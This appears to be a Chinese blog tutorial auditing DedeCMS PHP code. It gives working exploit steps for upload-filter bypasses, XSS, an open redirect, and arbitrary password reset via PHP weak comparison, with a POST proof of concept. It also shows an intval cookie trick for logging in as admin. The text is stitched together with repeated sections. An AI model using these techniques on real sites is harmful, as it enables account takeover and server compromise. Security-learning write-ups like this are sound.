当用户没有设置安全问题时,数据库默认的safequestion="0",safeanswer="",在php中这种数据在弱类型比较很容易相等的
safeanswer="",传入$safeanswer为空即可弱类型相等
safequestion="0",但是不能传入$safequestion为0,这样会导致empty()判断为空,最终被赋值为空,这里利用了一个知识点,记录下:
==在php中当左右都是只由数字组成的字符串进行弱类型比较时,会转换成数字比较==
"0" == "00" //true"0" == "0.0" //true"0" == "0e1" //true
所以传入上面其中一个都可以绕过判断,最终的post的数据修改如下,其中id设置为任意值就可以修改为任意用户,id=1默认为admin用户,不过amdin用户在会员中心模块默认不能登陆,意义不大
post 数据的POC:
dopost=safequestion&gourl=&userid=test1&mail=test1@qq.com&vdcode=ya21&type=2&safeanswer=0&id=2&safequestion=00
发送次数据包后,在dede_pwd_tmp表中会生成临时的数据,其中pwd为8位随机字符串的key通过md5加密后的值
4、绕过弱类型判断后,会返回一个地址
注意里面的id和key参数,这里的key为上面的pwd在md5加密前的值,id为上面的mid,也对应了dede_member表中的用户,通过这两个值,保证在找回密码处能准确修改对应用户的密码
进入这个地址,注意修改下实体编码,然后会进入找回密码第二步,然后直接修改密码就可以了
小结:最终梳理下来,这里其实就是在用户没有设置密码问题时,后台数据库默认保存为空,并且后台在进行密保问题判断时采用弱类型比较,导致可以绕过,最终结果是,凡是没有设置密码问题的用户,都有密码被任意修改的风险
会员中心任意用户登陆
会员中心模块的入口文件为member/index.php,在全局分析的时候并没有分析这个入口,但逻辑应该也大差不差
这里简单分析下会员中心模块入口文件判断用户登陆状态的关键逻辑,一般会先判断用户是否登陆,如果登陆则呈现用户界面。如果未登陆,则跳转到登陆接口,等待用户输入登陆凭证并验证,验证通过后,给当前用户记录cookie信息,用户后续使用cookie正常访问
在dedecms中会员中心模块的入口文件差不多也是这个逻辑,dedecms主要使用include/memberlogin.class.php中MemberLogin类来处理这些逻辑,下面来具体看下代码
入口文件逻辑
入口文件主要分为3个逻辑处理,首先通过$uid可以查看对应用户的会员空间,$uid对应数据表dede_member中的userid,即用户名
当$uid为空时,首先会判断用户的登陆状态,如果未登陆就加载登陆框,如果已经登陆,则展现对应用户的个人主页
当$uid不为空时,会加载config_space.php文件,其中这个文件会通过GetUserSpaceInfos()获取到$uid用户的空间信息
这里还需要注意$last_vid ,该值来自于cookie,可控。当$last_vid为空时,最终将等于$uid,都为可控参数。而$last_vid最终会被写入到cookie中
// member/index.phpif($uid==''){ if(!$cfg_ml->IsLogin()) { //加载登陆框 …… } else { //加载对应$cfg_ml->M_ID用户的页面 …… }}else{ //会员空间主页 require_once(DEDEMEMBER.'/inc/config_space.php'); $last_vid = GetCookie('last_vid'); if($last_vid!=''){ } else { $last_vid = $uid; } PutCookie('last_vid', $last_vid, 3600*24, '/');}
会员空间信息的加载
这里首先看下第三个逻辑处理,会员空间主要通过config_space.php文件加载,具体代码如下:
会员空间的信息主要通过$uid在数据库中查询得到,其中$uid为用户名信息
当查询结果为空时会退出程序
// member/inc/config_space.php$_vars = GetUserSpaceInfos();function GetUserSpaceInfos(){ $query = "SELECT …… From `#@__member` …… where m.userid like '$uid'"; $_vars = $dsql->GetOne($query); if(!is_array($_vars)) { ShowMsg("你访问的用户可能已经被删除!","javascript:;"); exit(); } …… return $_vars;}
账号登陆后cookie生成方式
用户登陆的逻辑这里就先不看了,主要关注下cookie是怎么生成的
当用户账号密码验证成功后,会有一个保存cookie的操作,对应的是MemberLogin类中的PutLoginInfo()方法
// include/memberlogin.class.php::class MemberLoginfunction PutLoginInfo($uid, $logintime=0){ global $cfg_login_adds, $dsql; $this->M_ID = $uid; $this->M_LoginTime = time(); if($this->M_KeepTime > 0) { PutCookie('DedeUserID',$uid,$this->M_KeepTime); PutCookie('DedeLoginTime',$this->M_LoginTime,$this->M_KeepTime); } else { PutCookie('DedeUserID',$uid); PutCookie('DedeLoginTime',$this->M_LoginTime); }}
跟踪下PutCookie()方法,发现将会生成DedeUserID,DedeUserID__ckMd5的cookie参数,这里关注一下后面会使用
DedeUserID的值来自用户的uid,其中DedeUserID__ckMd5来自用户的uid和加密cookie值的16位md5加密值,
$cfg_cookie_encode好像是安装dede后随机生成的值,用于加密cookie。不同的dedecms程序这个值不同,一般情况下认为该值是不可控,不可知的。正是利用这一点,程序生成的DedeUserID__ckMd5基本不能伪造,dedecms便可以放心的使用cookie去识别用户的身份
//include/helpers/cookie.helper.phpfunction PutCookie($key, $value, $kptime=0, $pa="/"){ global $cfg_cookie_encode,$cfg_domain_cookie; setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie); setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);}
这里需要知道的是这里的uid来自数据表dede_member中mid,所以uid这就就决定了用户的身份,dedecms默认在dede_member中会生成一个userid为admin,mid为1的用户
验证用户是否登陆过
用户中心模块在判断用户是否登陆会使用MemberLogin类的IsLogin()方法,该方法通过实例化的MemberLogin对象的M_ID值是否大于0为判断依据,大于0即为登陆状态
function IsLogin(){ if($this->M_ID > 0) return TRUE; else return FALSE;}
然后查看一下MemberLogin对象实例化时的构造函数,M_ID的值将来自于cookie,在获取cookie时会对用户身份做验证,==需要注意的是,通过认证后,M_ID还会通过GetNum()或intval()转换成数字类型,这是一个关键点,在后面将利用这一点把用户名转换成数字类型==
function __construct($kptime = -1, $cache=FALSE){ $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID);
GetNum()用于接收整数,GetCookie()用于获取cookie值,这里就知道M_ID大致来与cookie中的某个整数值,似乎可控的感觉,我们能想到的利用方式是通过控制cookie为不同的id值,造成越权漏洞
跟进GetCookie("DedeUserID")看看细节
$key传入的值为DedeUserID,$cfg_cookie_encode用于加密cookie
第一个if判断条件,$_COOKIE['DedeUserID']和$_COOKIE['DedeUserID__ckMd5']有值即可
第二个if判断条件,$_COOKIE['DedeUserID__ckMd5']等于使用$cfg_cookie_encode和$_COOKIE['DedeUserID']16位md5加密值相同即可
如果通过判断,M_ID将会等于cookie中DedeUserID的值,也就是对应用户id的身份
$_COOKIE['DedeUserID__ckMd5']为用户uid的md5加密值,没有dedecms的cookie 加密值是无法伪造这个加密值,也就是我们无法构造任意uid用户通过验证造成越权漏洞
//include/helpers/cookie.helper.phpfunction GetCookie($key){ global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } }}
但是在会员空间信息加载时我们知道通过$last_vid也可以写入cookie,也能利用$cfg_cookie_encode加密数据,把这的加密数据放到GetCookie()中是能通过验证的
但是$last_vid只能为用户名,放到,如果直接将$last_vid转化为用户id,那么在会员空间信息加载时会因为用户不存在而退出程序。如果用户名和用户id相同则不担心了,但是系统限制了用户名不能过短
不过却可以利用intval()将用户名转换成数字类型,从而$last_vid可以为存在的用户名,也可以转换成任意用户的id
终于开始验证漏洞了
按需求,我们需要注册一个用户名,这个用户名在intval()转换后能为一个用户的id
1)注册一个名为1admin的用户,intval("1admin")将为1,我们将会操控到用户id为1的用户,然后利用1admin获取一个__ckMd5
http://dede.test:8888/member/index.php?uid=1admin
2)利用结果通过验证
这里有个有趣的利用点,注意了!直接通过登陆框登陆admin用户是进不了个人主页的,因为dedecms默认禁止admin用户登陆会员中心。如果通过上面的方法却可以实现amdin用户登陆,有个什么好处呢,会员中心具有修改密码的功能,如果是管理员修改密码,会同时修改掉后台dede_admin表的密码,这里就可以实现前台到后台的突破,而后台的任意文件上传就很轻松了吧
最后梳理一下流程,流程图如下:
0x03 小结
本次主要采用的是功能定向审计,发现这种方式对文件上传漏洞的审计效果还不错,该方式确实速度很快,不过也会忽略很多关键点,最后的感受是,代码审计时不一定只有一种审计方式,除了功能定向审计,我们还可以利用通读代码的方式去做粗略的全局分析,通过敏感关键词回溯去审计一些较难发现的漏洞
另外一个感受就是在登陆口找回密码这种具有一定逻辑的代码审计上,往往需要先梳理清程序的逻辑,如果具有一定的开发意识审计这种代码会快一些。
参考
dedecms官网:
Dedecms 最新版漏洞收集:
前台任意用户登录漏洞分析(修改admin后台密码):
查看全部
通过DedeCMS学习php代码审计
2)会员中心,默认是关闭该功能的,需要后台打开
3)管理员后台
跟踪前台index.php的流程
首先跟一遍index.php的流程,index.php首先会加载common.inc.php,就先看看这个文件会做什么
include/common.inc.php
// 定义常量// 检查GPC数据是否为cfg等系统定义变量CheckRequest()// 使用addslashes()过滤GPC数据,并注册GPC数据到程序变量_RunMagicQuotes()// 如果存在文件上传的变量,加载文件上传的安全函数if($_FILES){require_once(DEDEINC.'/uploadsafe.inc.php');}// 数据库配置文件,里面是数据库账号密码相关变量信息require_once(DEDEDATA.'/common.inc.php');// 自动加载类库处理require_once(DEDEINC.'/autoload.inc.php');// 引入数据库类,这步会直接连接数据库,并返回一个数据库对象$db=$dsqlrequire_once(DEDEINC.'/dedesqli.class.php');// 全局常用函数require_once(DEDEINC.'/common.func.php');// 模块MVC框架需要的控制器和模型基类require_once(DEDEINC.'/control.class.php');require_once(DEDEINC.'/model.class.php');
common.inc.php 做了很多程序的初始化工作,代码审计时需要重点关注程序处理GPC这些外部数据的方式
common.inc.php 全局处理数据的代码:
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) { if($_k == 'nvarname') ${$_k} = $_v; else ${$_k} = _RunMagicQuotes($_v); }}
可以看到这个时期的DEDECMS也是使用了$$直接注册了GPC的变量,有可能存在变量覆盖的问题
uploadsafe.inc.php
这里再关心下文件上传的安全函数
include/uploadsafe.inc.php
$cfg_not_allowall为上传文件名后缀的黑名单,后面具体分析限制的逻辑
$imtypes为一些图片的MIME类型
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";$keyarr = array('name', 'type', 'tmp_name', 'size');foreach($_FILES as $_key=>$_value){ $$_key = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_rep1ace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_rep1ace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) { if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } $imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }}
这里结合实际例子来分析上诉代码,上传一个名为2.jpg的正常文件,$_FILES数组如下图
uploadsafe.inc.php会注册$_FILES中数据到全局变量,在实例中便会注册以下变量
$litpic = "/Applications/MAMP/tmp/php/php8bhoXG"$litpic_name = "2.jpg"$litpic_type = "image/jepg"$litpic_stze = "4"
然后先看第一个文件上传的限制:
if( !empty(${$_key.'_name'}) && ( preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'}) ) ){ if(!defined('DEDEADMIN')){ exit('Not Admin Upload filetype not allow !'); }}
第一个if语句块:
条件1:$_FILES[$_key]['name']即2.jpg,若上传的文件名不为空,该条件为真
条件2是个或条件,满足其一即可
条件2.1:$_FILES[$_key]['name']即2.jpg,若后缀名在黑名单中该条件为真
条件2.2:$_FILES[$_key]['name']即2.jpg,若没有符号.,即无后缀文件,该条件为真
通过第一个if判断会进入第二个if判断,DEDEADMIN常量未定义会直接退出程序。全局搜索了DEDEADMIN常量,如果是在后台模块,该常量会在dede/config.php就已经定义了。如果在前台首页或者更用户中心页面,该变量没有定义
所以第一个文件上传限制的是:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制
再来看看第二个文件上传的限制:
$imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }
若$_FILES[$_key]['type']即image/jpeg,在$imtypes中,则进入下一层判断。
$$_key此时为上传的临时文件,来自$_FILES[$_key]['tmp_name'],临时文件将通过getimagesize()来获取图像信息,作为安全人员,应该要对这个函数敏感一点了,getimagesize()识别到图像时,会返回一个包含图片信息的数组,当传入的文件不为图像时,会返回false,但是该函数可以通过伪造文件头绕过
所以第二个文件上传的限制意图为,当上传的文件MIME类型为图片时,将会通过getimagesize()二次验证传入的是否为图片
综上,可以看出这个底层的文件上传安全函数并没有限制的很死,大概的限制意思为:如果用户上传的功能点不在后台,上传的文件将会受到黑名单限制。如果当前文件为图片类型,则会通过getimagesize()再次判断文件是否为图片类型。若上传的文件在后台,MIME类型不为图片则没有限制
加载视图类文件
dedecms还会加载一个视图类文件include/arc.partview.class.php,里面定义了一个视图类class PartView
然后就会实例化一个视图加载类$pv = new PartView();,然后利用$pv去加载html这种静态模板,呈现到网页中。这里算是把视图和程序分开了
至于具体怎么实现的,因为和代码审计相关不大,而且我也没有看懂,这里就不讲究它的逻辑了
小结
整个流程下来感觉dedecms符合那个时代的cms特点,而且也是全局注册了外部变量。dedecms有特点之处在于使用视图类把html和php文件划分。但index.php文件明显只是一个静态文件,没有较多功能的实现,也没有像phpcms那样index.php作为入口文件负责接收请求转发到其他功能代码中
那程序中的功能到底是怎么实现的呢?
最后黑盒测试一下前台的功能点,功能点不多,也明显看处前台是一个多入口处理,每个功能是分开的
跟踪后台流程
dedecms的后台入口位于dede/index.php,默认后台目录为dede,官方建议修改后台目录,在寻找dedecms的后台目录时可以在字典加上dede爆破一下
dede/index.php
require_once(dirname(__FILE__)."/config.php");// 加inc_menu_map.php和载静态模板require(DEDEADMIN.'/inc/inc_menu_map.php');include(DEDEADMIN.'/templets/index2.htm');
后台入口文件的初始化主要加载dede/config.php,这里重点关注下这个文件
dede/config.php
dede/config.php
可以看到config.php也会加载common.inc.php文件,从而处理了外部数据
同时需要关注的是config.php会验证用户的登陆情况,所以后台文件基本都会包含这个config.php
// 加载common.inc.phprequire_once(DEDEADMIN.'/../include/common.inc.php');// 加载管理员登陆类,里面定义了userLogin类和很多验证用户权限的函数require_once(DEDEINC.'/userlogin.class.php');// 实例化userLogin对象$cuserLogin = new userLogin();// 验证登陆情况,未登陆跳转到登陆页面if($cuserLogin --- xxx) header("location:login.php?gotopage=".urlencode($dedeNowurl));// 下面则为登陆后的程序处理// 定义csrf和xss防御函数function csrf_check()function XSSClean($val)
通过iframe构造完整后台页面
不过从上面来看后台入口文件还是很单薄,没有实现什么具体功能,也没有转发请求的功能。然后我就使用谷歌调试工具看了下dedecms后台到底加载了哪些文件,原来才发现这个时期的cms还在使用iframe框架,dedecms后台入口文件通过使用iframe框架加载了菜单地图文件和管理后台主体文件,分别为dede/index_menu.php和dede/index_body.php
上图的代码来自index.php加载的templets/index2.htm文件
dede/index_menu.php和dede/index_body.php通过iframe被嵌入在index.php页面中,可以看到的是dedecms在后台基本还是使用的多入口文件去处理每个功能,只是使用iframe框架让所有功能在index.php页面下显示了而已
小结
通过全局分析,感觉dedecms这个系统还是比较”老气“的,和phpcms的处理方式还是有很大不同的,感觉上phpcms的处理更加接近mvc的思想,虽然看到dedecms也声称做了mvc的架构,菜鸡的我是否还看不到那一层
0x02 漏洞审计
本次将采用结合功能点进行代码审计的思路,试一试这种思路的特点
任意文件上传
普普通通的绕过
后台:【核心】-【常用操作】-【所有档案列表】-【添加文档】,该功能可以发布文章,而且具有文件上传的功能
该处首先具有前端限制,上传 .jpg 后缀文件,结合brup抓包,发现处理上传功能的文件为dede/archives_do.php
然后结合调试,来看看具体代码
dede/archives_do.php
入口文件通过 config.php 会实现权限认证和一些外部参数过滤注册
我们这里上传文件会带有$_FILES参数,上面通过全局分析得知会触发uploadsafe.inc.php的过滤
过滤后,通过AdminUpload()实现最终文件上传
require_once(dirname(__FILE__).'/config.php');else if($dopost=="uploadLitpic"){ $upfile = AdminUpload('litpic', 'imagelit', 0, false );
include/helpers/upload.helper.php
最终实现文件上传的AdminUpload()来自upload.helper.php
传入AdminUpload()的$ftype固定为imagelit,则一定会进入对应的检测判断
在检测判断代码中,$sparr定义了一个MIME Type白名单,若上传文件的MIME Type不在白名单中直接退出,MIME Type我们可控,所以这里一定要设置MIME Type为图片类型
但这里要注意的一点是,当MIME Type为图片类型时,在安全过滤文件uploadsafe.inc.php检测中,还会通过getimagesize()再次判断文件是否为图片类型,不够这里我们也可以绕过
function AdminUpload($uploadname, $ftype='image', $rnddd=0, $watermark=TRUE, $filetype='' ){ if($ftype=='image' || $ftype=='imagelit') { $sparr = Array('image/pjpeg', 'image/jpeg', 'image/gif', 'image/png', 'image/xpng', 'image/wbmp'); if(!in_array($file_type, $sparr)) return 0; } $fileurl = $filedir.'/'.$filename.'.'.$file_sname; $rs = move_uploaded_file($file_tmp, $cfg_basedir.$fileurl);
最后梳理一下,该功能点,系统只做了两个限制,MIMI Type为图片类型,可控。但MIME Type为图片类型时会通过getimagesize()检测,这里也可绕过。下面将来复现一下,看是否可以利用
漏洞验证
保证Content-Type为图片类型,构造图片的文件头,绕过文件上传的限制,并且会返回上传文件名和路径
访问这个文件,完美
小结一下:分析这一大堆,似乎还没有黑盒测来的快。。。一般黑盒直接来个GIF89a可能就中奖了
尴尬的文件上传
接着看看后台有什么功能点,然后又发现一个文件上传的位置:【核心】-【常用操作】-【附件管理】- 【文件式管理器】
突然发现这里竟然可以直接上传任意文件。。。。这个系统这么刚的吗?
看了半天代码很尴尬,然后我就不太想看后台的文件上传了。。。。
有趣的文件上传
后面翻阅dedecms历史漏洞,发现会员中心处存在一个文件上传漏洞。后面仔细研究了一下,其实也只有管理员权限才能上传,实际利用鸡肋,有管理员权限了不如直接进入后台任意文件上传,不过这个漏洞产生的原因可以学学
漏洞位于会员中心处,需要在dedecms打开会员功能,另外需要使用管理员账号打卡会员中心的页面
进入member/article_add.php发布文章,选择下面的富文本编辑器插入图片
选择好文件并上传抓包
处理该文件上传的文件为select_images_post.php,下面具体看看代码
include/dialog/select_images_post.php
看代码大致知道系统只允许上传图片格式的文件,然后具体有3个限制条件:
加载include/dialog/config.php,该文件会验证管理员身份,同时config.php会加载common.inc.php做基础的文件上传过滤。由全局分析知道,我们此时没有位于管理员目录,上传文件后缀名有黑名单限制,不能为php,目前知道服务器只解析php后缀文件
但在下面第二行代码,会去除一些特殊符号,那我们可以上传p*hp这样的后缀,可以绕过上面的判断,然后再这一步正好又变成了能解析的后缀,漏洞关键点就在这里
$cfg_imgtype为jpg|gif|png,但这里匹配十分轻松,只要存在.jpg这样的字样就能绕过,并没有限制是后缀名
最后对mime type类型做了检测,最终上传文件
require_once(dirname(__FILE__)."/config.php");$imgfile_name = trim(preg_rep1ace("#[ \r\n\t\*\%\\\/\?>LoadTemp1ate($tplfile);$dtp->SetVar('id',$id);$dtp->SetVar('type',$type);$dtp->Disp1ay();
可以看到这里的触发点$dtp->SetVar('type',$type);,然而在seay这种代码扫描工具中是不会在意这些点的,同样有些框架对sql操作也做了很好的封装,如果只是依靠seay的结果来做代码审计,可能会忽略掉很多关键点
最后有图有真相
http://dede.test:8888/plus/qrc ... alert(1)%3C/ScRiPt%3E
url 重定向漏洞
seay似乎没有 url 重定向漏洞的扫描,不过该漏洞审计也比较简单,主要关注能重定向的一些关键词,再看重定向地址是否可控
这里看一个dedecms出名的url重定向漏洞,网上有很多讲解,xray都有poc
plus/download.php
对$link做了base64解码
程序中有一个很奇怪的限制,in_array($linkinfo['host'], $allowed),然而download.php中却没有$linkinfo这个参数
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); if ( !in_array($linkinfo['host'], $allowed) ) { ShowMsg('非下载地址,禁止访问','javascript:;'); exit; } header("location:$link");
dedecms后台也有一些url重定向漏洞,这里就不多关注这个洞了
会员中心任意用户密码修改
这也是dedecms比较出名的一个漏洞,如果通过黑盒测试,可能并测不出这个漏洞,此处漏洞最好的方式就是通过灰盒的方式测试
功能点位于会员中心找回密码处,dedecms默认是关闭会员中心的,需要在后台开启会员中心,为了方便测试,开放了用户注册
来看下关键代码:
member/resetpassword.php
1、加载member/config.php,注意这个 config 文件位于 member 目录,不同于全局分析的 config 文件,这个文件会检测用户在用户中心模块的登陆情况,查询的数据表为dede_member,而后台模块查询的数据表是dede_admin,要注意区分开dede的各个模块查询的数据表和包含的文件
可以看到resetpassword.php主要有4个处理逻辑,由$dopost控制,$dopost可控
1)$dopost默认为空,进入第一个if语句,会加载resetpassword.htm,用于显示找回密码的页面
2)$dopost == "getpwd",进入第二个处理逻辑,这是找回密码第一步默认处理逻辑,
3)$dopost == "safequestion",进入第三个处理逻辑
4)$dopost == "getpasswd",将会进入找回密码第二步
// member/resetpassword.phprequire_once(dirname(__FILE__)."/config.php");if($dopost == ""){ include(dirname(__FILE__)."/templets/resetpassword.htm");}elseif($dopost == "getpwd"){ // 找回密码第一步}else if($dopost == "safequestion"){ // 密码问题判断}else if($dopost == "getpasswd"){ // 找回密码第二步}
2、抓取找回密码第一步的请求包,默认dopost为getpwd
进入 getpwd的if语句块,如果设置了密码会加载resetpassword3.htm页面,这是输入安全问题的表单,会提交$dopost == "safequestion",则进入第3个处理逻辑
没有设置安全密码会退出程序,$dopost=="getpwd"似乎走不通,但参数都可以控,可以考虑直接进入$dopost == "safequestion"
// member/resetpassword.phpelseif($dopost == "getpwd"){ //以邮件方式取回密码; if($type == 1){} //以安全问题取回密码; else if ($type == 2) { if($member['safequestion'] == 0) { showmsg('对不起您尚未设置安全密码,请通过邮件方式重设密码', 'login.php'); exit; } require_once(dirname(__FILE__)."/templets/resetpassword3.htm"); }}
3、关注$dopost == "safequestion" 的if语句块,$row['safequestion'] 为数据库查询用户设置的安全问题,如果没有设置则为空,然后这里使用==弱类型比较,有可能绕过这里的判断
// member/resetpassword.phpif(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){ sn($mid, $row['userid'], $row['email'], 'N'); exit();}
当用户没有设置安全问题时,数据库默认的safequestion="0",safeanswer="",在php中这种数据在弱类型比较很容易相等的
safeanswer="",传入$safeanswer为空即可弱类型相等
safequestion="0",但是不能传入$safequestion为0,这样会导致empty()判断为空,最终被赋值为空,这里利用了一个知识点,记录下:
==在php中当左右都是只由数字组成的字符串进行弱类型比较时,会转换成数字比较==
"0" == "00" //true"0" == "0.0" //true"0" == "0e1" //true
所以传入上面其中一个都可以绕过判断,最终的post的数据修改如下,其中id设置为任意值就可以修改为任意用户,id=1默认为admin用户,不过amdin用户在会员中心模块默认不能登陆,意义不大
post 数据的POC:
dopost=safequestion&gourl=&userid=test1&mail=test1@qq.com&vdcode=ya21&type=2&safeanswer=0&id=2&safequestion=00
发送次数据包后,在dede_pwd_tmp表中会生成临时的数据,其中pwd为8位随机字符串的key通过md5加密后的值
4、绕过弱类型判断后,会返回一个地址
注意里面的id和key参数,这里的key为上面的pwd在md5加密前的值,id为上面的mid,也对应了dede_member表中的用户,通过这两个值,保证在找回密码处能准确修改对应用户的密码
进入这个地址,注意修改下实体编码,然后会进入找回密码第二步,然后直接修改密码就可以了
小结:最终梳理下来,这里其实就是在用户没有设置密码问题时,后台数据库默认保存为空,并且后台在进行密保问题判断时采用弱类型比较,导致可以绕过,最终结果是,凡是没有设置密码问题的用户,都有密码被任意修改的风险
会员中心任意用户登陆
会员中心模块的入口文件为member/index.php,在全局分析的时候并没有分析这个入口,但逻辑应该也大差不差
这里简单分析下会员中心模块入口文件判断用户登陆状态的关键逻辑,一般会先判断用户是否登陆,如果登陆则呈现用户界面。如果未登陆,则跳转到登陆接口,等待用户输入登陆凭证并验证,验证通过后,给当前用户记录cookie信息,用户后续使用cookie正常访问
在dedecms中会员中心模块的入口文件差不多也是这个逻辑,dedecms主要使用include/memberlogin.class.php中MemberLogin类来处理这些逻辑,下面来具体看下代码
入口文件逻辑
入口文件主要分为3个逻辑处理,首先通过$uid可以查看对应用户的会员空间,$uid对应数据表dede_member中的userid,即用户名
当$uid为空时,首先会判断用户的登陆状态,如果未登陆就加载登陆框,如果已经登陆,则展现对应用户的个人主页
当$uid不为空时,会加载config_space.php文件,其中这个文件会通过GetUserSpaceInfos()获取到$uid用户的空间信息
这里还需要注意$last_vid ,该值来自于cookie,可控。当$last_vid为空时,最终将等于$uid,都为可控参数。而$last_vid最终会被写入到cookie中
// member/index.phpif($uid==''){ if(!$cfg_ml->IsLogin()) { //加载登陆框 …… } else { //加载对应$cfg_ml->M_ID用户的页面 …… }}else{ //会员空间主页 require_once(DEDEMEMBER.'/inc/config_space.php'); $last_vid = GetCookie('last_vid'); if($last_vid!=''){ } else { $last_vid = $uid; } PutCookie('last_vid', $last_vid, 3600*24, '/');}
会员空间信息的加载
这里首先看下第三个逻辑处理,会员空间主要通过config_space.php文件加载,具体代码如下:
会员空间的信息主要通过$uid在数据库中查询得到,其中$uid为用户名信息
当查询结果为空时会退出程序
// member/inc/config_space.php$_vars = GetUserSpaceInfos();function GetUserSpaceInfos(){ $query = "SELECT …… From `#@__member` …… where m.userid like '$uid'"; $_vars = $dsql->GetOne($query); if(!is_array($_vars)) { ShowMsg("你访问的用户可能已经被删除!","javascript:;"); exit(); } …… return $_vars;}
账号登陆后cookie生成方式
用户登陆的逻辑这里就先不看了,主要关注下cookie是怎么生成的
当用户账号密码验证成功后,会有一个保存cookie的操作,对应的是MemberLogin类中的PutLoginInfo()方法
// include/memberlogin.class.php::class MemberLoginfunction PutLoginInfo($uid, $logintime=0){ global $cfg_login_adds, $dsql; $this->M_ID = $uid; $this->M_LoginTime = time(); if($this->M_KeepTime > 0) { PutCookie('DedeUserID',$uid,$this->M_KeepTime); PutCookie('DedeLoginTime',$this->M_LoginTime,$this->M_KeepTime); } else { PutCookie('DedeUserID',$uid); PutCookie('DedeLoginTime',$this->M_LoginTime); }}
跟踪下PutCookie()方法,发现将会生成DedeUserID,DedeUserID__ckMd5的cookie参数,这里关注一下后面会使用
DedeUserID的值来自用户的uid,其中DedeUserID__ckMd5来自用户的uid和加密cookie值的16位md5加密值,
$cfg_cookie_encode好像是安装dede后随机生成的值,用于加密cookie。不同的dedecms程序这个值不同,一般情况下认为该值是不可控,不可知的。正是利用这一点,程序生成的DedeUserID__ckMd5基本不能伪造,dedecms便可以放心的使用cookie去识别用户的身份
//include/helpers/cookie.helper.phpfunction PutCookie($key, $value, $kptime=0, $pa="/"){ global $cfg_cookie_encode,$cfg_domain_cookie; setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie); setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);}
这里需要知道的是这里的uid来自数据表dede_member中mid,所以uid这就就决定了用户的身份,dedecms默认在dede_member中会生成一个userid为admin,mid为1的用户
验证用户是否登陆过
用户中心模块在判断用户是否登陆会使用MemberLogin类的IsLogin()方法,该方法通过实例化的MemberLogin对象的M_ID值是否大于0为判断依据,大于0即为登陆状态
function IsLogin(){ if($this->M_ID > 0) return TRUE; else return FALSE;}
然后查看一下MemberLogin对象实例化时的构造函数,M_ID的值将来自于cookie,在获取cookie时会对用户身份做验证,==需要注意的是,通过认证后,M_ID还会通过GetNum()或intval()转换成数字类型,这是一个关键点,在后面将利用这一点把用户名转换成数字类型==
function __construct($kptime = -1, $cache=FALSE){ $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID);
GetNum()用于接收整数,GetCookie()用于获取cookie值,这里就知道M_ID大致来与cookie中的某个整数值,似乎可控的感觉,我们能想到的利用方式是通过控制cookie为不同的id值,造成越权漏洞
跟进GetCookie("DedeUserID")看看细节
$key传入的值为DedeUserID,$cfg_cookie_encode用于加密cookie
第一个if判断条件,$_COOKIE['DedeUserID']和$_COOKIE['DedeUserID__ckMd5']有值即可
第二个if判断条件,$_COOKIE['DedeUserID__ckMd5']等于使用$cfg_cookie_encode和$_COOKIE['DedeUserID']16位md5加密值相同即可
如果通过判断,M_ID将会等于cookie中DedeUserID的值,也就是对应用户id的身份
$_COOKIE['DedeUserID__ckMd5']为用户uid的md5加密值,没有dedecms的cookie 加密值是无法伪造这个加密值,也就是我们无法构造任意uid用户通过验证造成越权漏洞
//include/helpers/cookie.helper.phpfunction GetCookie($key){ global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } }}
但是在会员空间信息加载时我们知道通过$last_vid也可以写入cookie,也能利用$cfg_cookie_encode加密数据,把这的加密数据放到GetCookie()中是能通过验证的
但是$last_vid只能为用户名,放到,如果直接将$last_vid转化为用户id,那么在会员空间信息加载时会因为用户不存在而退出程序。如果用户名和用户id相同则不担心了,但是系统限制了用户名不能过短
不过却可以利用intval()将用户名转换成数字类型,从而$last_vid可以为存在的用户名,也可以转换成任意用户的id
终于开始验证漏洞了
按需求,我们需要注册一个用户名,这个用户名在intval()转换后能为一个用户的id
